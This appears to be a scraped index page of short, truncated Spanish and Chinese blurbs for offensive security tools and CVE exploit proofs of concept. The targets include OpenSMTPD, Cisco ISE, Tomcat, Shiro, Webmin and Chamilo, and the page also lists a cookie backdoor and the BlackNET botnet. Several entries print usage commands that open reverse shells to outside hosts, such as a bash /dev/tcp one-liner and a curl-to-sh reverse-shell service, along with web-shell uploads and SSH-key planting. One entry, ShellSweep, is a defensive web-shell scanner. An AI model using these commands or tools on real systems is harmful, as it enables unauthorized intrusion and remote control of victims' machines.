CVE-2020-7247-exploit

CVE-2020-7247-exploit OpenSMTPD 6.4.0 - 6.6.1 Exploit PoC de ejecución remota de código Referencia: https://www.openwall.com/lists/oss-security/2020/01/28/3 Uso root@kitploit: python3 exploit.py Dependencias root@kitploit: pip3 install --user pwntools...

CVE-2025-20281-2-Cisco-ISE-RCE

CVE-2025-20281-2-Cisco-ISE-RCE Unauthenticated Python PoC for CVE-2025-20281 RCE against Cisco ISE API CVE-2025-20281 Unauthenticated PoC A minimal Python proof-of-concept that exploits the unauthenticated RCE in Cisco ISE’s ERS API CVE-2025-20281 by injecting arbitrary shell commands into the...

warsend

WARSend Subida de WAR Shell en la API de Apache Tomcat Manager Requisitos previos Credenciales Acceso a la API de texto de Tomcat Manager root@kitploit: $ ./warsend.sh 10.10.14.232 8090 10.10.10.184 8080 tomcat $3cureP4s5w0rd! revshell | | / / | / / / / / | | /| / / /| | / // /\ / / / / | |/...

Awesome_shiro

Awesome-shiro CVE-2016-4437 ShiroBase64解码--AES解密--反序列化 环境 linux/win10 均可 python2/python3 均可 由于module下有ysoserial.jar 所以项目略大，多多包涵 本地搭建靶场 root@kitploit: docker pull medicean/vulapps:sshiro1 docker run -d -p 80:8080 medicean/vulapps:sshiro1 脚本使用 1、shirocrack.py 爆破模块使用 需要结合http://dnslog.cn/...

unisoc-su

unisoc-su 一种利用 CVE-2025-31710 连接到 cmdskt 抽象套接字，在未修补的展讯机型上获取 root shell 的方法 在大家喊叫之前，展讯公司本身已授权我在 CVE-2025-31710 公告后发布此内容，所以请保持安静。 让我们先讲个笑话 是的，你没有做梦，今天我要向你展示一个针对 com.sprd.engineermode 应用的系统 shell 漏洞，并且由于它是 cmdskt 的受信客户端之一，我也能成功进入。这个抽象套接字是作为 root 运行的 cmdservices 服务的一部分，所以，是的，我很高兴向你介绍 unisoc-su。这里是从...

CVE-2004-1561

CVE-2004-1561 Icecast 标头覆盖缓冲区溢出 RCE 更新 568-edit.c 成功使 原始 exploit 工作。根据 此内容 进行了编辑。 568-edit.c 的使用方法 root@kitploit: root@Kali:/TryHackme/Ice gcc 568-edit.c -o 568 root@Kali:/TryHackme/Ice ./568 192.168.92.133 Icecast...

armory

root@kitploit: dM. ,MMb d'YM. ,P Mb MM 6MM MM 6MMb 6MMb 6MMMMMb MM 6MM MM M' d' YM. MM69 " MM69 MM69 Mb 6M' Mb MM69 " Mb d' ,PMbMMMMMMMMMMMMMMYM.,P d' YM. MM MM MM MM MM MM MM MM M \ ,MMMMMMMMbMMMMMMMMMMMMMMMbd'\ d' YM. MM MM MM MM YM. ,M9 MM YMP dM dMMMM MM MM MM YMMMMM9 MM M d' 8,P YMM...

CVE-2024-47533

root@kitploit: 反向 Shell python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd 'bash -c "bash -i & /dev/tcp/10.10.14.23/4444 0&1"' 简单命令 python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd 'id' 写入 SSH 密钥 python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd 'mkdir -p /root/.s...

reverse-shell

reverse-shell 反向Shell即服务 - https://reverse-shell.sh 一个易于记忆的反向Shell，适用于大多数类Unix系统。 它会检测目标上可用的软件，并运行合适的有效载荷。 用法 1. 监听连接 在你的机器上打开一个端口并监听。你可以使用netcat轻松完成。 root@kitploit: nc -l 1337 2. 在目标上执行反向Shell 在目标机器上，将 https://reverse-shell.sh/你IP:端口 的输出通过管道传给sh。 root@kitploit: curl...

ShellSweep

ShellSweep 扫描网络中的邪恶 为什么选择 ShellSweep "ShellSweep" 是一款基于 PowerShell/Python/Lua 的工具，旨在检测指定目录中的潜在 Web Shell 文件。 ShellSweep 及其工具套件通过计算文件内容的熵来估算文件成为 Web Shell 的可能性。高熵表明随机性更高，这是加密或混淆代码的特征，常见于 Web Shell 中。 它只处理具有特定扩展名（.asp、.aspx、.asph、.php、.jsp）的文件，这些扩展名常用于 Web Shell。 可以排除某些目录不进行扫描。 在扫描过程中，可以忽略具有特定哈希值的文...

CVE-2021-31762

CSRF-to-RCE ..| CVE-2021-31762 |.. 描述： 利用跨站请求伪造（CSRF）攻击，通过Webmin的添加用户功能创建特权用户，然后通过Webmin的运行进程功能获取反弹Shell 测试版本： Webmin 1.973（GitHub最新版本 2021/03/07） 攻击类型： 远程 影响： 远程命令执行 漏洞利用POC代码： YouTube POC： https://youtu.be/qCvEXwyaF5U 产品供应商： https://www.webmin.com 附加信息：...

payday

Payday 使用 Metasploit 和 Veil 的 Payload 生成器。输入 IP 地址后自动构建 Payload。 调用 Veil 框架，并传入指定 IP 地址，创建可执行文件及 handler。 使用 msfvenom 生成 Payload，并像 Veil 一样写入资源 handler 文件。 --php 选项会创建一个 pshell.txt，自动移除文件开头的注释，方便直接使用，无需手动编辑。 -- 更新 Veil Evasion 脚本路径 该工具现在包含错误检查功能，可显示目录结构并解析 Veil 配置文件。 -- 示例： 生成 Metasploit Payload...

CVE-2021-25094-tatsu-preauth-rce

Tatsu Builder WordPress 插件中的预认证 RCE CVE-2021-25094 Tatsu Builder = 3.3.11 中未经认证的 RCE 简单 PoC，作为示例提供。 完整分析文章见：https://darkpills.com/wordpress-tatsu-builder-preauth-rce-cve-2021-25094/ Usage: root@kitploit: python3 exploit-rce.py -h --technique TECHNIQUE --customShell CUSTOMSHELL --keep KEEP --proxy...

RancidCrisco

RancidCrisco CVE-2023-20126 的最小可行 PoC 这是初始版本。它可用，但属于“最简单情况”的利用。 已在 SPA112/SPA122 上测试并生效 —— SPA232D 需要不同的固件镜像。 在 TCP 23000 端口提供 root shell。 我仍需清理用于编辑固件的工具链，可能会将其放在另一个仓库中。该工具链主要基于 @BigNerd95 的工作，但针对 SPA112/122 固件文件做了少量修改。 演示 root@kitploit: $ python3 CVE-2023-20126.py http://192.168.0.152 CFW.bin Ba...

CVE-2019-3980-Open_Net_Admin_v18.1.1_RCE

CVE-2019-3980 – OpenNetAdmin 18.1.1 Ejecución Remota de Código ⚠️ Aviso legal Este repositorio está destinado estrictamente solo a fines educativos y de investigación. La información y el código aquí proporcionados pueden utilizarse en entornos controlados , como máquinas de laboratorio privadas...

SSCMS-PluginShell

安装VisualStudio 2. 导入该项目 3. 修改Startup.cs文件中的IPAddress.Parse值 root@kitploit: using Microsoft.Extensions.DependencyInjection; using SSCMS.Advertisement.Abstractions; using SSCMS.Advertisement.Core; using SSCMS.Plugins; using System.Diagnostics; using System; using System.Text; using...

CVE-2024-50379

手动利用麻烦，搓一个exp。。 食用： shell.jsp 是shell文件，ggsl.jsp是保存到目标服务器上的名称/路径 ./CVE-2024-50379 -u http://192.168.2.245:8080 -f shell.jsp -p ggsl.jsp 免责声明 本工具仅面向合法授权 的企业安全建设行为，如您需要测试本工具的可用性，请自行搭建靶机环境。 在使用本工具进行检测时，您应确保该行为符合当地的法律法规，并且已经取得了足够的授权。请勿对非授权目标进行扫描。 如您在使用本工具的过程中存在任何非法行为，您需自行承担相应后果，我们将不承担任何法律及连带责任。...

backcookie

backcookie Pequeña puerta trasera usando cookie. ========== root@kitploit: root@kitploit: Ejemplo uno: python backcookie.py -u http://target.com/shell.php -c namecookie root@kitploit: Ejemplo dos: python backcookie.py --url http://target.com/shell.php --cookie namecookie Comando personalizado...

BlackNET

BlackNET 😈 Botnet de Windows gratuito, avanzado y moderno con un panel PHP bonito y seguro desarrollado con VB.NET. Acerca de BlackNET 🤓 Botnet de Windows gratuito, avanzado y moderno con un panel PHP bonito y seguro construido con VB.NET. Este controlador de botnets viene con muchas funciones y ...

CVE-2023-4220-exploit

CVE-2023-4220-漏洞利用 Chamilo LMS 版本 = 1.11.24 中，位于 /main/inc/lib/javascript/bigupload/inc/bigUpload.php 的大文件上传功能存在无限制文件上传漏洞，允许未经身份验证的攻击者通过上传 web shell 执行存储型跨站脚本攻击（Stored XSS）并获得远程代码执行。 PoC root@kitploit: bash CVE.2023-4220.sh -f webshell -u URL -l puerto...